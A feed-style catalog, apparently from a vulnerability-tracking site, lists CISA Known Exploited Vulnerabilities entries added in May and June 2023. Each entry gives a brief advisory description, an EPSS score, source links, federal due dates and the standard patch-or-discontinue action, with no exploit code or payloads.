catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DWL-2600AP Access Point Command Injection Vulnerability https://kevwire.com/record/CVE-2019-20500 D-Link DWL-2600AP Access Point Command Injection Vulnerability (Jun 29, 2023). D-Link DWL-2600AP access point contains an authenticated command injection vulnerability via the Save Configuration functionality in the Web interface, using shell metacharacters in the admin.cgi?action=config_save configBackup or downloadServerip parameter. EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-20500&date=2026-10-25). Sources: CISA KEV entry CVE-2019-20500: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-20500&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2021-25487 Samsung Mobile Devices Out-of-Bounds Read Vulnerability (Jun 29, 2023). Samsung mobile devices contain an out-of-bounds read vulnerability within the modem interface driver due to a lack of boundary checking of a buffer in set_skb_priv(), leading to remote code execution by dereference of an invalid function pointer. EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25487&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25487: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25487&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2021-25489 Samsung Mobile Devices Improper Input Validation Vulnerability (Jun 29, 2023). Samsung mobile devices contain an improper input validation vulnerability within the modem interface driver that results in a format string bug leading to kernel panic. EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25489&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25489: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25489&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Race Condition Vulnerability https://kevwire.com/record/CVE-2021-25394 Samsung Mobile Devices Race Condition Vulnerability (Jun 29, 2023). Samsung mobile devices contain a race condition vulnerability within the MFC charger driver that leads to a use-after-free allowing for a write given a radio privilege is compromised. EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25394&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25394: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25394&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Race Condition Vulnerability https://kevwire.com/record/CVE-2021-25395 Samsung Mobile Devices Race Condition Vulnerability (Jun 29, 2023). Samsung mobile devices contain a race condition vulnerability within the MFC charger driver that leads to a use-after-free allowing for a write given a radio privilege is compromised. EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25395&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25395: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25395&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Unspecified Vulnerability https://kevwire.com/record/CVE-2021-25371 Samsung Mobile Devices Unspecified Vulnerability (Jun 29, 2023). Samsung mobile devices contain an unspecified vulnerability within DSP driver that allows attackers to load ELF libraries inside DSP. EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25371&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25371: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25371&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Improper Boundary Check Vulnerability https://kevwire.com/record/CVE-2021-25372 Samsung Mobile Devices Improper Boundary Check Vulnerability (Jun 29, 2023). Samsung mobile devices contain an improper boundary check vulnerability within DSP driver that allows for out-of-bounds memory access. EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25372&date=2026-10-25). Sources: CISA KEV entry CVE-2021-25372: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25372&date=2026-10-25 CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Integer Overflow Vulnerability https://kevwire.com/record/CVE-2023-32434 Apple Multiple Products Integer Overflow Vulnerability (Jun 23, 2023). Apple iOS. iPadOS, macOS, and watchOS contain an integer overflow vulnerability that could allow an application to execute code with kernel privileges. EPSS 51.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32434&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32434: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32434&date=2026-10-25 CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Memory Corruption Vulnerability https://kevwire.com/record/CVE-2023-32435 Apple Multiple Products WebKit Memory Corruption Vulnerability (Jun 23, 2023). Apple iOS, iPadOS, macOS, and Safari WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 23.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32435&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32435: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32435&date=2026-10-25 CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Type Confusion Vulnerability https://kevwire.com/record/CVE-2023-32439 Apple Multiple Products WebKit Type Confusion Vulnerability (Jun 23, 2023). Apple iOS, iPadOS, macOS, and Safari WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 24.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32439&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32439: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32439&date=2026-10-25 CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware Tools Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2023-20867 VMware Tools Authentication Bypass Vulnerability (Jun 23, 2023). VMware Tools contains an authentication bypass vulnerability in the vgauth module. A fully compromised ESXi host can force VMware Tools to fail to authenticate host-to-guest operations, impacting the confidentiality and integrity of the guest virtual machine. An attacker must have root access over ESXi to exploit this vulnerability. EPSS 13.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20867&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20867: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20867&date=2026-10-25 CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel Multiple NAS Devices Command Injection Vulnerability https://kevwire.com/record/CVE-2023-27992 Zyxel Multiple NAS Devices Command Injection Vulnerability (Jun 23, 2023). Multiple Zyxel network-attached storage (NAS) devices contain a pre-authentication command injection vulnerability that could allow an unauthenticated attacker to execute commands remotely via a crafted HTTP request. EPSS 82.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27992&date=2026-10-25). Sources: CISA KEV entry CVE-2023-27992: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27992&date=2026-10-25 CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Vmware Aria Operations for Networks Command Injection Vulnerability https://kevwire.com/record/CVE-2023-20887 Vmware Aria Operations for Networks Command Injection Vulnerability (Jun 22, 2023). VMware Aria Operations for Networks (formerly vRealize Network Insight) contains a command injection vulnerability that allows a malicious actor with network access to perform an attack resulting in remote code execution. EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20887&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20887: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20887&date=2026-10-25 CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2020-35730 Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability (Jun 22, 2023). Roundcube Webmail contains a cross-site scripting (XSS) vulnerability that allows an attacker to send a plain text e-mail message with Javascript in a link reference element that is mishandled by linkref_addinindex in rcube_string_replacer.php. EPSS 32.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-35730&date=2026-10-25). Sources: CISA KEV entry CVE-2020-35730: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-35730&date=2026-10-25 CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Roundcube Webmail Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2020-12641 Roundcube Webmail Remote Code Execution Vulnerability (Jun 22, 2023). Roundcube Webmail contains an remote code execution vulnerability that allows attackers to execute code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path. EPSS 84.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-12641&date=2026-10-25). Sources: CISA KEV entry CVE-2020-12641: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-12641&date=2026-10-25 CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Roundcube Webmail SQL Injection Vulnerability https://kevwire.com/record/CVE-2021-44026 Roundcube Webmail SQL Injection Vulnerability (Jun 22, 2023). Roundcube Webmail is vulnerable to SQL injection via search or search_params. EPSS 69.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44026&date=2026-10-25). Sources: CISA KEV entry CVE-2021-44026: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44026&date=2026-10-25 CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox, Firefox ESR, and Thunderbird Use-After-Free Vulnerability https://kevwire.com/record/CVE-2016-9079 Mozilla Firefox, Firefox ESR, and Thunderbird Use-After-Free Vulnerability (Jun 22, 2023). Mozilla Firefox, Firefox ESR, and Thunderbird contain a use-after-free vulnerability in SVG Animation, targeting Firefox and Tor browser users on Windows. EPSS 87.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-9079&date=2026-10-25). Sources: CISA KEV entry CVE-2016-9079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-9079&date=2026-10-25 CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2016-0165 Microsoft Win32k Privilege Escalation Vulnerability (Jun 22, 2023). Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation. EPSS 13.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0165&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0165: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0165&date=2026-10-25 CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS and FortiProxy SSL-VPN Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-27997 Fortinet FortiOS and FortiProxy SSL-VPN Heap-Based Buffer Overflow Vulnerability (Jun 13, 2023). Fortinet FortiOS and FortiProxy SSL-VPN contain a heap-based buffer overflow vulnerability which can allow an unauthenticated, remote attacker to execute code or commands via specifically crafted requests. EPSS 85.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27997&date=2026-10-25). Sources: CISA KEV entry CVE-2023-27997: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27997&date=2026-10-25 CISA added this entry on 2023-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 13, 2023; federal due date Jul 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2023-3079 Google Chromium V8 Type Confusion Vulnerability (Jun 7, 2023). Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 37.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-3079&date=2026-10-25). Sources: CISA KEV entry CVE-2023-3079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-3079&date=2026-10-25 CISA added this entry on 2023-06-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 7, 2023; federal due date Jun 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel Multiple Firewalls Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-33009 Zyxel Multiple Firewalls Buffer Overflow Vulnerability (Jun 5, 2023). Zyxel ATP, USG FLEX, USG FLEX 50(W), USG20(W)-VPN, VPN, and ZyWALL/USG firewalls contain a buffer overflow vulnerability in the notification function that could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and remote code execution on an affected device. EPSS 28.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33009&date=2026-10-25). Sources: CISA KEV entry CVE-2023-33009: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33009&date=2026-10-25 CISA added this entry on 2023-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 5, 2023; federal due date Jun 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel Multiple Firewalls Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-33010 Zyxel Multiple Firewalls Buffer Overflow Vulnerability (Jun 5, 2023). Zyxel ATP, USG FLEX, USG FLEX 50(W), USG20(W)-VPN, VPN, and ZyWALL/USG firewalls contain a buffer overflow vulnerability in the ID processing function that could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and remote code execution on an affected device. EPSS 29.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33010&date=2026-10-25). Sources: CISA KEV entry CVE-2023-33010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33010&date=2026-10-25 CISA added this entry on 2023-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 5, 2023; federal due date Jun 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Progress MOVEit Transfer SQL Injection Vulnerability https://kevwire.com/record/CVE-2023-34362 Progress MOVEit Transfer SQL Injection Vulnerability (Jun 2, 2023). Progress MOVEit Transfer contains a SQL injection vulnerability that could allow an unauthenticated attacker to gain unauthorized access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database in addition to executing SQL statements that alter or delete database elements. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-34362&date=2026-10-25). Sources: CISA KEV entry CVE-2023-34362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-34362&date=2026-10-25 CISA added this entry on 2023-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 2, 2023; federal due date Jun 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel Multiple Firewalls OS Command Injection Vulnerability https://kevwire.com/record/CVE-2023-28771 Zyxel Multiple Firewalls OS Command Injection Vulnerability (May 31, 2023). Zyxel ATP, USG FLEX, VPN, and ZyWALL/USG firewalls allow for improper error message handling which could allow an unauthenticated attacker to execute OS commands remotely by sending crafted packets to an affected device. EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28771&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28771: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28771&date=2026-10-25 CISA added this entry on 2023-05-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 31, 2023; federal due date Jun 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Barracuda Networks ESG Appliance Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2023-2868 Barracuda Networks ESG Appliance Improper Input Validation Vulnerability (May 26, 2023). Barracuda Email Security Gateway (ESG) appliance contains an improper input validation vulnerability of a user-supplied .tar file, leading to remote command injection. EPSS 86.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2868&date=2026-10-25). Sources: CISA KEV entry CVE-2023-2868: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2868&date=2026-10-25 CISA added this entry on 2023-05-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 26, 2023; federal due date Jun 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Sandbox Escape Vulnerability https://kevwire.com/record/CVE-2023-32409 Apple Multiple Products WebKit Sandbox Escape Vulnerability (May 22, 2023). Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain an unspecified vulnerability that can allow a remote attacker to break out of the Web Content sandbox. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 16.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32409&date=2026-10-25). Sources: CISA KEV entry CVE-2023-32409: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32409&date=2026-10-25 CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 22, 2023; federal due date Jun 12, 2023. Evidence: 